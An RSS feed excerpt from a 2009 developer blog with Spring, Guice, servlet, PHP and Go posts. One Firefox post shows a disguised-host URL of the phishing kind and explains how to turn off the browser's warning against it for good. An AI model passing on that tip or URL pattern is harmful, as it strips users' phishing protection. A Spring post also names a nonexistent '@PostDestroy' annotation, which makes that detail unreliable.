            http://www.springframework.org/schema/beans/spring-beans-3.0.xsd"&gt;

    &lt;bean id="attributesTest" class="a.Test" init-method="initMethod" destroy-method="destroyMethod"&gt;
    &lt;/bean&gt;
&lt;/beans&gt;
</pre>
<p><b>Main program</b><br />
In this case, I&#8217;ll use AbstractApplicationContext because this Context has a function to destroy the Context which a normal ApplicationContext doesn&#8217;t have.</p>
<pre class="prettyprint" lang-java>
package a;

import org.springframework.context.support.AbstractApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class XmlAttributesTest {
    public static void main(String[] args) {
        AbstractApplicationContext ctx = new ClassPathXmlApplicationContext("Config.xml");
        ctx.registerShutdownHook();
        Test test =  ctx.getBean("attributesTest",Test.class);
    }
}
</pre>
<p><b>Test.java</b></p>
<pre class="prettyprint" lang-java>
package a;

public class Test{

    public Test(){
        System.out.println("We are in the constructor of Test");
    }

    public void initMethod(){
        System.out.println("We are in initMethod of Test");
    }

    public void destroyMethod(){
        System.out.println("We are in destroyMethod of Test");
    }

}
</pre>
<p>The output will be:</p>
<pre class="prettyprint" lang-java>
We are in the constructor of Test
We are in initMethod of Test
We are in destroyMethod of Test
</pre>
<p>It&#8217;s also possible to declare default init- and destroy-methods in the xml-file. This is done in the beans-tag:</p>
<pre class="prettyprint" lang-xml>
&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:context="http://www.springframework.org/schema/context"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
            http://www.springframework.org/schema/beans/spring-beans-3.0.xsd"
       default-init-method="initMethod"
       default-destroy-method="destroyMethod"&gt;
...
</pre>
</p>
<p>
<h1>LifeCycles with interfaces</h1>
<p>It&#8217;s possible to call the lifecyclemethods by implemnting a Spring interface.<br />
It&#8217;s very easy to do but I don&#8217;t recommend this because when you use the interfaces, your code will be highly coupled to the Spring Framework which isn&#8217;t always a good case.<br />
<b>Config.xml</b><br />
You don&#8217;t have to set an init and destroy method in the xml-file</p>
<pre class="prettyprint" lang-xml>
&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:context="http://www.springframework.org/schema/context"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
            http://www.springframework.org/schema/beans/spring-beans-3.0.xsd"&gt;

    &lt;bean id="interfacesTest" class="b.Test"&gt;
    &lt;/bean&gt;
&lt;/beans&gt;
</pre>
<p><b>Main program</b><br />
This is always the same&#8230;</p>
<pre class="prettyprint" lang-java>
package b;

import org.springframework.context.support.AbstractApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class InterfaceTest {

    public static void main(String[] args) {
        AbstractApplicationContext ctx = new ClassPathXmlApplicationContext("Config.xml");
        ctx.registerShutdownHook();
        Test test =  ctx.getBean("interfacesTest",Test.class);
    }
}
</pre>
<p><b>Test.java</b><br />
We have to implement InitializingBean for init-methods and DisposableBean for destroy-methods</p>
<pre class="prettyprint" lang-java>
package b;

import org.springframework.beans.factory.DisposableBean;
import org.springframework.beans.factory.InitializingBean;

public class Test implements InitializingBean, DisposableBean {

    public Test(){
        System.out.println("We are in the constructor of Test");
    }

    public void afterPropertiesSet() throws Exception {
        System.out.println("We are in afterPropertiesSet of Test");
    }

    public void destroy() throws Exception {
        System.out.println("We are in destroy of Test");
    }
}
</pre>
</p>
<p>
<h1>Lifecycle with annotations</h1>
<p><b>Config.xml</b><br />
Don&#8217;t forget to include to enable annotations with the Contextparameters in the xml-file</p>
<pre class="prettyprint" lang-xml>
&lt;?xml version="1.0" encoding="UTF-8"?>
&lt;beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:context="http://www.springframework.org/schema/context"
       xsi:schemaLocation="http://www.springframework.org/schema/beans

http://www.springframework.org/schema/beans/spring-beans-3.0.xsd

http://www.springframework.org/schema/context

            http://www.springframework.org/schema/context/spring-context-3.0.xsd"&gt;
   &lt;context:annotation-config/&gt;

    &lt;bean id="annotationsTest" class="c.Test"&gt;
    &lt;/bean&gt;

&lt;/beans&gt;
</pre>
<p><b>Main program</b><br />
Still the same&#8230;</p>
<pre class="prettyprint" lang-java>
package c;

import org.springframework.context.support.AbstractApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class AnnotationsTest {

    public static void main(String[] args) {
        AbstractApplicationContext ctx = new ClassPathXmlApplicationContext("Config.xml");
        ctx.registerShutdownHook();
        Test test = ctx.getBean("annotationsTest", Test.class);
    }
}
</pre>
<p><b>Test.java</b><br />
We can use the lifecyclemethods with the annotations @PostConstruct for init-methods and @PostDestroy for destroy-methods.</p>
<pre class="prettyprint" lang-java>
package c;

import javax.annotation.PostConstruct;
import javax.annotation.PreDestroy;

public class Test {

    public Test() {
        System.out.println("We are in the constructor of Test");
    }

    @PostConstruct
    public void start(){
        System.out.println("We are in the start-method of Test");
    }

    @PreDestroy
    public void stop(){
        System.out.println("We are in the stop-method of Test");
    }
}
</pre>
</p>
<p>
<h1>Putting them all together</h1>
<p>It&#8217;s possible to use the 3 methods all together<br />
<b>Config.xml</b></p>
<pre class="prettyprint" lang-xml>
&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:context="http://www.springframework.org/schema/context"
       xsi:schemaLocation="http://www.springframework.org/schema/beans

http://www.springframework.org/schema/beans/spring-beans-3.0.xsd

http://www.springframework.org/schema/context

            http://www.springframework.org/schema/context/spring-context-3.0.xsd"&gt;
   &lt;context:annotation-config/&gt;

    &lt;bean id="allTogether" class="d.Test" init-method="initMethod" destroy-method="destroyMethod"&gt;
    &lt;/bean&gt;
&lt;/beans&gt;
</pre>
<p><b>Main program</b></p>
<pre class="prettyprint" lang-java>
package d;

import org.springframework.context.support.AbstractApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

public class AllTogetherTest {

    public static void main(String[] args) {
        AbstractApplicationContext ctx = new ClassPathXmlApplicationContext("Config.xml");
        ctx.registerShutdownHook();
        Test test = ctx.getBean("allTogether", Test.class);
    }
}
</pre>
<p><b>Test.java</b><br />
We are using interfaces AND annotations.<br />
It&#8217;s even possible to use multiple times the same annotation:</p>
<pre class="prettyprint" lang-java>
package d;

import javax.annotation.PostConstruct;
import javax.annotation.PreDestroy;
import org.springframework.beans.factory.DisposableBean;
import org.springframework.beans.factory.InitializingBean;

public class Test implements DisposableBean,InitializingBean {

    public void destroy() throws Exception {
        System.out.println("DisposableBean-Interface");
    }

    public void afterPropertiesSet() throws Exception {
        System.out.println("InitializingBean-Interface");
    }

    @PostConstruct
    public void start(){
        System.out.println("First PostConstruct");
    }

    @PostConstruct
    public void start2(){
        System.out.println("Second PostConstruct");
    }

    @PostConstruct
    public void start3(){
        System.out.println("Third PostConstruct");
    }

    @PreDestroy
    public void stop(){
        System.out.println("PreDestroy");
    }

    public void initMethod(){
        System.out.println("initMethod");
    }

    public void destroyMethod(){
        System.out.println("destroyMethod");
    }
}
</pre>
<p>The output is:</p>
<pre class="prettyprint" lang-text>
Third PostConstruct
Second PostConstruct
First PostConstruct
InitializingBean-Interface
initMethod
PreDestroy
DisposableBean-Interface
destroyMethod
</pre>
<p>So we can conclude that the annotations are processed first, followed by the interfaces and at last the methods from the xml-file.</p>
]]></content:encoded>
			<wfw:commentRss>http://dev.eek.be/2009/11/the-lifecycle-of-a-spring-bean/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Go language</title>
		<link>http://dev.eek.be/2009/11/go-language/</link>
		<comments>http://dev.eek.be/2009/11/go-language/#comments</comments>
		<pubDate>Wed, 11 Nov 2009 20:27:13 +0000</pubDate>
		<dc:creator>Wim</dc:creator>
				<category><![CDATA[tutorials]]></category>
		<category><![CDATA[Go]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://dev.eek.be/?p=237</guid>
		<description><![CDATA[Google released a new programming language. I&#8217;m not pretty sure if it will become popular but here are two videos to give you an impression]]></description>
			<content:encoded><![CDATA[<p>Google released a new programming language.<br />
I&#8217;m not pretty sure if it will become popular but here are two videos to give you an impression.</p>
<p><object width="560" height="340"><param name="movie" value="http://www.youtube.com/v/wwoWei-GAPo&#038;hl=en&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/wwoWei-GAPo&#038;hl=en&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"></embed></object><br />
<object width="560" height="340"><param name="movie" value="http://www.youtube.com/v/rKnDgT73v8s&#038;hl=en&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/rKnDgT73v8s&#038;hl=en&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://dev.eek.be/2009/11/go-language/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>PHP &#8211; An introduction</title>
		<link>http://dev.eek.be/2009/11/php-an-introduction/</link>
		<comments>http://dev.eek.be/2009/11/php-an-introduction/#comments</comments>
		<pubDate>Wed, 11 Nov 2009 13:06:08 +0000</pubDate>
		<dc:creator>Wim</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[tutorials]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[presentation]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://dev.eek.be/?p=180</guid>
		<description><![CDATA[I had to give a presentation about PHP at my work earlier this year. It was a quick and simple introduction about PHP and his features. If you want to use this presentation by yourself, please leave me a comment. odp-file ppt-file pptx-file pdf-file]]></description>
			<content:encoded><![CDATA[<p>I had to give a presentation about PHP at my work earlier this year.<br />
It was a quick and simple introduction about PHP and his features.<br />
If you want to use this presentation by yourself, please leave me a comment.<br />
<a href="http://dev.eek.be/wp-content/uploads/2009/11/PHP-An-introduction.odp">odp-file</a><br />
<a href="http://dev.eek.be/wp-content/uploads/2010/04/PHP-An-introduction.ppt">ppt-file</a><br />
<a href="http://dev.eek.be/wp-content/uploads/2009/11/PHP-An-introduction.pptx">pptx-file</a><br />
<a href="http://dev.eek.be/wp-content/uploads/2009/11/PHP-An-introduction.pdf">pdf-file</a></p>
<p><img src="http://dev.eek.be/wp-content/uploads/2009/11/img0.png" alt="PHP-An introduction" title="PHP-An introduction" width="512" height="384" class="aligncenter size-full wp-image-186" /><br />
<img src="http://dev.eek.be/wp-content/uploads/2009/11/img1.png" alt="Agenda" title="Agenda" width="512" height="384" class="aligncenter size-full wp-image-188" /><br />
<img src="http://dev.eek.be/wp-content/uploads/2009/11/img2.png" alt="History of PHP" title="History of PHP" width="512" height="384" class="aligncenter size-full wp-image-190" /><br />
<img src="http://dev.eek.be/wp-content/uploads/2009/11/img3.png" alt="What is PHP" title="What is PHP" width="512" height="384" class="aligncenter size-full wp-image-191" /><br />
<img src="http://dev.eek.be/wp-content/uploads/2009/11/img4.png" alt="img4" title="img4" width="512" height="384" class="aligncenter size-full wp-image-192" /><br />
<img src="http://dev.eek.be/wp-content/uploads/2009/11/img5.png" alt="types" title="types" width="512" height="384" class="aligncenter size-full wp-image-193" /><br />
<img src="http://dev.eek.be/wp-content/uploads/2009/11/img6.png" alt="Variables" title="Variables" width="512" height="384" class="aligncenter size-full wp-image-194" /><br />
<img src="http://dev.eek.be/wp-content/uploads/2009/11/img7.png" alt="Predefined variables" title="Predefined Variables" width="512" height="384" class="aligncenter size-full wp-image-195" /><br />
<img src="http://dev.eek.be/wp-content/uploads/2009/11/img8.png" alt="Predefined variables" title="Predefined Variables" width="512" height="384" class="aligncenter size-full wp-image-196" /><br />
<img src="http://dev.eek.be/wp-content/uploads/2009/11/img9.png" alt="Predefined variables example" title="Predefined variables example" width="512" height="384" class="aligncenter size-full wp-image-197" /><br />
<img src="http://dev.eek.be/wp-content/uploads/2009/11/img10.png" alt="Variables - Scope" title="Variables - Scope" width="512" height="384" class="aligncenter size-full wp-image-198" /><br />
<img src="http://dev.eek.be/wp-content/uploads/2009/11/img11.png" alt="variable variables" title="variable variables" width="512" height="384" class="aligncenter size-full wp-image-199" /><br />
<img src="http://dev.eek.be/wp-content/uploads/2009/11/img12.png" alt="operators and control structures" title="operators and control structures" width="512" height="384" class="aligncenter size-full wp-image-200" /><br />
<img src="http://dev.eek.be/wp-content/uploads/2009/11/img13.png" alt="Functions" title="Functions" width="512" height="384" class="aligncenter size-full wp-image-201" /><br />
<img src="http://dev.eek.be/wp-content/uploads/2009/11/img14.png" alt="Classes and Objects" title="Classes and Objects" width="512" height="384" class="aligncenter size-full wp-image-202" /><br />
<img src="http://dev.eek.be/wp-content/uploads/2009/11/img15.png" alt="Constructors and destructors" title="Constructors and destructors" width="512" height="384" class="aligncenter size-full wp-image-203" /><br />
<img src="http://dev.eek.be/wp-content/uploads/2009/11/img16.png" alt="visibility" title="visibility" width="512" height="384" class="aligncenter size-full wp-image-204" /><br />
<img src="http://dev.eek.be/wp-content/uploads/2009/11/img17.png" alt="Scope resolution operator" title="Scope resolution operator" width="512" height="384" class="aligncenter size-full wp-image-205" /><br />
<img src="http://dev.eek.be/wp-content/uploads/2009/11/img18.png" alt="Abstract classes and interfaces" title="Abstract classes and interfaces" width="512" height="384" class="aligncenter size-full wp-image-206" /><br />
<img src="http://dev.eek.be/wp-content/uploads/2009/11/img19.png" alt="Abstract classes and interfaces" title="Abstract classes and interfaces" width="512" height="384" class="aligncenter size-full wp-image-207" /><br />
<img src="http://dev.eek.be/wp-content/uploads/2009/11/img20.png" alt="Magic methods" title="Magic methods" width="512" height="384" class="aligncenter size-full wp-image-208" /><br />
<img src="http://dev.eek.be/wp-content/uploads/2009/11/img21.png" alt="Reflection" title="Reflection" width="512" height="384" class="aligncenter size-full wp-image-209" /><br />
<img src="http://dev.eek.be/wp-content/uploads/2009/11/img22.png" alt="Popular PHP tools" title="Popular PHP tools" width="512" height="384" class="aligncenter size-full wp-image-210" /><br />
<img src="http://dev.eek.be/wp-content/uploads/2009/11/img23.png" alt="More info" title="More info" width="512" height="384" class="aligncenter size-full wp-image-211" /><br />
<img src="http://dev.eek.be/wp-content/uploads/2009/11/img24.png" alt="Questions??" title="Questions??" width="512" height="384" class="aligncenter size-full wp-image-212" /><br />
<img src="http://dev.eek.be/wp-content/uploads/2009/11/img25.png" alt="Contact" title="Contact" width="512" height="384" class="aligncenter size-full wp-image-213" /></p>
]]></content:encoded>
			<wfw:commentRss>http://dev.eek.be/2009/11/php-an-introduction/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tweaking Firefox: Disable login dialog</title>
		<link>http://dev.eek.be/2009/10/tweaking-firefox-disable-login-dialog/</link>
		<comments>http://dev.eek.be/2009/10/tweaking-firefox-disable-login-dialog/#comments</comments>
		<pubDate>Sun, 25 Oct 2009 18:28:38 +0000</pubDate>
		<dc:creator>Wim</dc:creator>
				<category><![CDATA[tutorials]]></category>
		<category><![CDATA[configuration]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://dev.eek.be/?p=157</guid>
		<description><![CDATA[If you want to visit a webpage which is password protected, you can skip the authentication screen by placing your username and password directly into the url like http://user:pass@www.eek.be . If you want to log in like this, Firefox will show you a dialog where you have to confirm that you want to login directly ]]></description>
			<content:encoded><![CDATA[<p><img src="http://dev.eek.be/wp-content/uploads/2009/10/firefox_medium-150x150.png" alt="firefox_medium" title="firefox_medium" width="150" height="150" class="aligncenter size-thumbnail wp-image-165" />If you want to visit a webpage which is password protected, you can skip the authentication screen by placing your username and password directly into the url like http://user:pass@www.eek.be .</p>
<p>If you want to log in like this, Firefox will show you a dialog where you have to confirm that you want to login directly into the website.</p>
<p><img src="http://dev.eek.be/wp-content/uploads/2009/10/loginfirefox.png" alt="loginfirefox" title="loginfirefox" width="536" height="144" class="aligncenter size-full wp-image-159" /></p>
<p>This is done for some securityreasons because it&#8217;s possible, like the dialog says, to trick a user to the wrong site.<br />
Take for instance the following url:<br />
http://www.eek.be&#038;login:password@example.com/badsite<br />
This url looks perfectly valid but if you have a good look at it, you will see that the url is not one of eek.be but one of example.com. So when a user clicks this link, it will be redirected to a page he didn&#8217;t expected or worse, a site that looks like the page he thinks he expects which asks him for his creditcard/username/password/&#8230;</p>
<p>So this built in security in Firefox is a very good case.<br />
But in some cases, you just want to login to a site without that annoying alertbox. Luckily, In firefox, it&#8217;s possible to configure this option.<br />
Go to the options in Firefox by surfing to:</p>
<pre class="prettyprint">
about:config
</pre>
<p>You should get a warning but you can proceed without any concerns.</p>
<p>Now you have to rightclick inside the optionsscreen and choose new->integer<br />
A popup shows up and you have to fill in the optionsname</p>
<pre class="prettyprint">
network.http.phishy-userpass-length
</pre>
<p>
<img src="http://dev.eek.be/wp-content/uploads/2009/10/phisy.png" alt="phisy" title="phisy" width="396" height="168" class="aligncenter size-full wp-image-160" /></p>
<p>secondly, you have to give a value to the option.<br />
In this case, the value means how many characters a login can have before the dialog appears. By default it&#8217;s 1 in Firefox. In this case I change it to 100 which is enough in most cases.<br />
If you want to disable it always, you have to set the integer to 255.</p>
<p><img src="http://dev.eek.be/wp-content/uploads/2009/10/integer.png" alt="integer" title="integer" width="395" height="165" class="aligncenter size-full wp-image-161" /></p>
]]></content:encoded>
			<wfw:commentRss>http://dev.eek.be/2009/10/tweaking-firefox-disable-login-dialog/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>servletconfig vs servletcontext</title>
		<link>http://dev.eek.be/2009/10/servletconfig-vs-servletcontext/</link>
		<comments>http://dev.eek.be/2009/10/servletconfig-vs-servletcontext/#comments</comments>
		<pubDate>Thu, 15 Oct 2009 20:15:58 +0000</pubDate>
		<dc:creator>Wim</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[tutorials]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[jsp]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[server management]]></category>
		<category><![CDATA[servlet]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://dev.eek.be/?p=80</guid>
		<description><![CDATA[In this little blogpost, I&#8217;ll try to explain the differences between ServletConfig and ServletContext and when you can use them into a Java Web Application. ServletConfig ServletContext Access deploy-time servlet parameters Access web application parameters One per servlet One per web application ServletConfig ServletConfig is actually very simple. Like stated above, you can retrieve parameters ]]></description>
			<content:encoded><![CDATA[<p><img src="http://dev.eek.be/wp-content/uploads/2009/10/java2.jpg" alt="java2" title="java2" width="300" height="225" class="aligncenter size-full wp-image-151" /></p>
<p>In this little blogpost, I&#8217;ll try to explain the differences between ServletConfig and ServletContext and when you can use them into a Java Web Application.</p>
<table cellpadding="2" cellspacing="0" border="1">
<tr>
<td><b>ServletConfig</b></td>
<td><b>ServletContext</b></td>
</tr>
<tr>
<td>Access deploy-time servlet parameters</td>
<td>Access web application parameters</td>
</tr>
<tr>
<td>One per servlet</td>
<td>One per web application</td>
</tr>
</table>
<p><b>ServletConfig</b></p>
<p>ServletConfig is actually very simple. Like stated above, you can retrieve parameters for the servlet which are set at deployment time.<br />
I&#8217;ll explain this with a very simple example.
</p>
<p>
If you have created a servlet with the name &#8220;MyServlet&#8221; you can add the following 2 variables into the servlet:</p>
<pre class="prettyprint" lang-xml>
    &lt;servlet&gt;
         &lt;servlet-name&gt;MyServlet&lt;/servlet-name&gt;
         &lt;servlet-class&gt;servlets.MyServlet&lt;/servlet-class&gt;
         &lt;init-param&gt;
             &lt;param-name&gt;variable1&lt;/param-name&gt;
             &lt;param-value&gt;I'm var1&lt;/param-value&gt;
         &lt;/init-param&gt;
         &lt;init-param&gt;
             &lt;param-name&gt;variable2&lt;/param-name&gt;
             &lt;param-value&gt;I'm var2&lt;/param-value&gt;
         &lt;/init-param&gt;
     &lt;/servlet&gt;
     &lt;servlet-mapping&gt;
         &lt;servlet-name&gt;MyServlet&lt;/servlet-name&gt;
         &lt;url-pattern&gt;/MyServlet&lt;/url-pattern&gt;
     &lt;/servlet-mapping&gt;
</pre>
</p>
<p>
You can retrieve variable2 with the following code:</p>
<pre class="prettyprint" lang-java>
getServletConfig().getInitParameter("variable2");
</pre>
</p>
<p>
Retrieve all the variables of the servlet and loop over them:</p>
<pre class="prettyprint" lang-java>
Enumeration allvars = getServletConfig().getInitParameterNames();
while (allvars.hasMoreElements()) {
     String next = (String) allvars.nextElement();
     out.println(next + " has the value " + getServletConfig().getInitParameter(next));
}
</pre>
</p>
<p>
It&#8217;s also possible to retrieve the servlets name through getServletconfig</p>
<pre class="prettyprint" lang-java>
out.println("The name of the servlet is: " + getServletConfig().getServletName());
</pre>
</p>
<p><b>ServletContext</b></p>
<p>
ServletContext can be used to retrieve application-wide parameters, get serverparameters and store/retrieve/remove application-wide attributes.
</p>
<p>It is possible to call the ServletContext right on or through the ServletConfig. Both are the same so you can choose between them.</p>
<pre class="prettyprint" lang-java>
if (getServletContext().equals(getServletConfig().getServletContext())) {
       out.println("both calls retrieve the same Context");
}
</pre>
</p>
<p>
Just like with ServletConfig, you can set parameters in the Deployment Descriptor. They are initialized on compile time. It&#8217;s not possible to remove or add them on runtime.</p>
<pre class="prettyprint" lang-xml>
&lt;context-param&gt;
        &lt;param-name&gt;variable3&lt;/param-name&gt;
        &lt;param-value&gt;Im var 3&lt;/param-value&gt;
&lt;/context-param&gt;
</pre>
<p>And call them in your servlet just like the ServletConfig parameters:</p>
<pre class="prettyprint" lang-java>
getServletContext().getInitParameter("variable3")
</pre>
</p>
<p>
Unlike ServletConfig, ServletContext can work with attributes. These are parameters or objects which you can set into the servlet and retrieve in every other servlet of your Web Application:</p>
<pre class="prettyprint" lang-java>
getServletContext().setAttribute("test", "I'm an application-wide String");
..
out.println(getServletContext().getAttribute("test"));
..
getServletContext().removeAttribute("test");
</pre>
</p>
<p>
I&#8217;ll end this little short tutorial with an example of how you can retrieve serversettings through the Context:</p>
<pre class="prettyprint" lang-java>
out.println(getServletContext().getContextPath());
out.println(getServletContext().getMajorVersion());
out.println(getServletContext().getRealPath(""));
out.println(getServletContext().getServerInfo());
</pre>
</p>
<p>If there are any more questions, just shoot them <img src='http://dev.eek.be/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://dev.eek.be/2009/10/servletconfig-vs-servletcontext/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dependency Injection with Google Guice by example</title>
		<link>http://dev.eek.be/2009/09/dependency-injection-with-google-guice/</link>
		<comments>http://dev.eek.be/2009/09/dependency-injection-with-google-guice/#comments</comments>
		<pubDate>Tue, 29 Sep 2009 19:22:20 +0000</pubDate>
		<dc:creator>Wim</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[tutorials]]></category>
		<category><![CDATA[annotations]]></category>
		<category><![CDATA[bindings]]></category>
		<category><![CDATA[Dependency injection]]></category>
		<category><![CDATA[di]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Guice]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[Inversion of control]]></category>
		<category><![CDATA[ioc]]></category>
		<category><![CDATA[modules]]></category>
		<category><![CDATA[providers]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://dev.eek.be/?p=66</guid>
		<description><![CDATA[In this blogpost, I&#8217;ll explain Dependency Injection with Google Guice through a lot of examples. Hope you like it. Annotation based DI It&#8217;s possible in Guice to inject a class with the help of annotations. In this example, I create a mainclass which creates an order. Inside the order there will be a payment done. ]]></description>
			<content:encoded><![CDATA[<p>In this blogpost, I&#8217;ll explain <a href="http://en.wikipedia.org/wiki/Dependency_injection" target="_blank">Dependency Injection</a> with <a href="http://code.google.com/p/google-guice/" target="_blank">Google Guice</a> through a lot of examples. Hope you like it.</p>
<p><u>Annotation based DI</u><br />
It&#8217;s possible in Guice to inject a class with the help of annotations. In this example, I create a mainclass which creates an order. Inside the order there will be a payment done. There are 2 types of payments (by card or cash) and they will be injected by Guice.<br />
<b>Payment</b></p>
<pre class="prettyprint" lang-java>
public interface Payment {
    public void pay();
}
</pre>
<p><b>PaymentCash</b></p>
<pre class="prettyprint" lang-java>
public class PaymentCashImpl implements Payment {
    public void pay() {
        System.out.println("I'll pay just plain cash");
    }
}
</pre>
<p><b>PaymentCard</b></p>
<pre class="prettyprint" lang-java>
public class PaymentCardImpl implements Payment{
    public void pay() {
        System.out.println("I'll pay with a credit card");
    }
}
</pre>
<p><b>Order</b></p>
<pre class="prettyprint" lang-java>
public class Order {

    private Payment payment;

    public Payment getPayment() {
        return payment;
    }

    public void setPayment(Payment payment) {
        this.payment = payment;
    }

    public void finishOrder(){
        this.payment.pay();
    }
}
</pre>
<p><b>Main</b></p>
<pre class="prettyprint" lang-java>
public class Main {
    public static void main(String[] args) {
        Order order = new Order();
        Payment payment = new PaymentCardImpl();
        order.setPayment(payment);
        order.finishOrder();
    }
}
</pre>
<p>There isn&#8217;t any Dependency injection in the code above. All the classes are highly coupled into each other. So it&#8217;s time to do some magic:<br />
<b>Payment</b><br />
You can tell through the use of annotations which Payment type is the default implemented class</p>
<pre class="prettyprint" lang-java>
@ImplementedBy(PaymentCardImpl.class)
public interface Payment {
    public void pay();
}
</pre>
<p><b>Order</b><br />
Inject the payment type in the order. What we here say is: Inject the default paymentimplementation, which is set by the @implementedby annotation, into the payment field.</p>
<pre class="prettyprint" lang-java>
public class Order {
    @Inject
    private Payment payment;
....
</pre>
<p><b>Main</b><br />
Lastly, we have to rewrite the main class. In this example, we get an order which uses the PaymentCard as payment type</p>
<pre class="prettyprint" lang-java>
public class Main {
    public static void main(String[] args) {
       Injector injector = Guice.createInjector();
        Order order = injector.getInstance(Order.class);
        order.finishOrder();
    }
}
</pre>
<p>You can run this code. The output should be -I&#8217;ll pay with a credit card-. This code is so cool because if we want to switch to payment with cash at a later point, we just have to change the @implementedBy annotation in the interface and we are done.</p>
<div style="border: 1px solid silver; padding: 8px; background-color: rgb(249, 249, 249); text-align: left;">
<script type="text/javascript"><!--
google_ad_client = "pub-1041875485625119";
/* 160x90, gemaakt 3-6-10 */
google_ad_slot = "3673564135";
google_ad_width = 160;
google_ad_height = 90;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div>
<p><u>Injection types</u><br />
Guice knows different types of injection. The 3 most used are constructor, field and method injection (Examples are based on the above example)<br />
<b>Constructor injection</b></p>
<pre class="prettyprint" lang-java>
import com.google.inject.Inject;

public class Order {
    private Payment payment;

    @Inject
    public Order(Payment payment){
        this.payment=payment;
    }
   ...
}
</pre>
<p><b>Method injection</b></p>
<pre class="prettyprint" lang-java>
import com.google.inject.Inject;

public class Order {
    private Payment payment;

    @Inject
    public void setPayment(Payment payment) {
        this.payment = payment;
    }
   ...
}
</pre>
<p><b>Field injection</b></p>
<pre class="prettyprint" lang-java>
public class Order {
    @Inject
    private Payment payment;
   ...
}
</pre>
<p><u>Module based DI</u><br />
It&#8217;s also possible to use Modules for injecting data. It&#8217;s maybe a little more work but I like it because all the configuration is in the same file. You can compare this with the xml-file in Spring applications.<br />
<b>Payment</b><br />
Remove the @ImplementedBy annotation in the paymentinterface</p>
<pre class="prettyprint" lang-java>
public interface Payment {
    public void pay();
}
</pre>
<p><b>MyModule</b><br />
Next, create the Module class. It has to implement Module, which has one method: configure.<br />
The code speaks for its self. You say nothing more than bind Payment to PaymentCard.</p>
<pre class="prettyprint" lang-java>
public class MyModule implements Module {
    public void configure(Binder arg0) {
        arg0.bind(Payment.class).to(PaymentCardImpl.class);
    }
}
</pre>
<p>Instead of implementing Module, you can also extend AbstractModule. It&#8217;s just a matter of choice.</p>
<pre class="prettyprint" lang-java>
public class MyModule extends AbstractModule {
    public void configure() {
        bind(Payment.class).to(PaymentCardImpl.class);
    }
}
</pre>
<p><b>Main</b><br />
Lastly, we have to put the module into our injector and we are done.</p>
<pre class="prettyprint" lang-java>
public class Main {
    public static void main(String[] args) {
        MyModule module = new MyModule();
        Injector injector = Guice.createInjector(module);
        Order order = injector.getInstance(Order.class);
        order.finishOrder();
    }
}
</pre>
<p>The 4 lines in the main class can be written into 1 single line:</p>
<pre class="prettyprint" lang-java>
public class Main {
    public static void main(String[] args) {
        Guice.createInjector(new MyModule()).getInstance(Order.class).finishOrder();
    }
}
</pre>
<p><u>Subclassing</u><br />
In Guice, it&#8217;s easy to subclass an implementation.<br />
<b>Payment</b></p>
<pre class="prettyprint" lang-java>
public interface Payment {
    public void pay();
}
</pre>
<p><b>PaymentCardImpl</b></p>
<pre class="prettyprint" lang-java>
public class PaymentCardImpl implements Payment{
    public void pay() {
        System.out.println("I'll pay with a credit card");
    }
}
</pre>
<p><b>PaymentVisaCard</b><br />
extend payment card with paymentvisacard</p>
<pre class="prettyprint" lang-java>
public class PaymentVisaCard extends PaymentCardImpl {
    public void pay() {
        System.out.println("I'll pay with a card from Visa");
    }
}
</pre>
<p>Nothing special in the Main class<br />
<b>Main</b></p>
<pre class="prettyprint" lang-java>
public class Main {
    public static void main(String[] args) {
